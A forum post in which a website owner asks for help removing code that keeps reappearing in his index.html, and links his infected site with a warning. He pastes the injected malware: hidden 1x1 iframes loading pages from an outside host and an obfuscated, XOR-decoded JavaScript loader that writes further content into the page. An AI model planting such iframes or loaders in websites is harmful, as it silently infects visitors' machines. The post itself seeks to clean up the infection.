Help removing exploits from Host

[xsiteu]

I have been trying to remove some sort of virus from my host but it keeps coming back.

I have pasted the inserted malicious scripts at the bottom of the page.

Can anyone tell me what I need to do to remove this shit completely?

I have contacted about it. There response was that they could not find anything and nothing on their hosting is causing the problem.

*** WARNING ***

For those that may want to see what is happening I am posting the link here to my site that currently has this nasty shit. Unless you are 100 % sure you have good anti-virus protection don't click it. I use NOD32 and it immediatly blocks the threat.

The website is: http://www.xsiteu.com

Below is what keeps being inserted into my index.html:
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<iframe src='http://wsfgfdgrtyhgfd.net/adv/168/new.php' width=1 height=1></iframe>
<iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=168' width=1 height=1></iframe>


<script language="JavaScript">e = '0x00' + '27';str1 = "%9C%C4%CF%D2%B8%D5%D4%DF%CC%C3%9B%86%D2%CF%D5%CF%C6%CF%CC%CF%D4%DF%9E%C0%CF%C4%C4%C3%CA%86%9A%9C%CF%C2%D6%C7%CB%C3%B8%D5%D6%C5%9B%86%C0%D4%D4%C8%9E%89%89%C1%D6%C3%D4%C7%C6%C5%8A%C5%C9%CB%89%D4%D6%C2% 89%86%B8%D1%CF%C4%D4%C0%9B%97%B8%C0%C3%CF%C1%C0%D4%9B%97%9A%9C%89%CF%C2%D6%C7%CB%C3%9A%9C%89%C4%CF%D2%9A";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>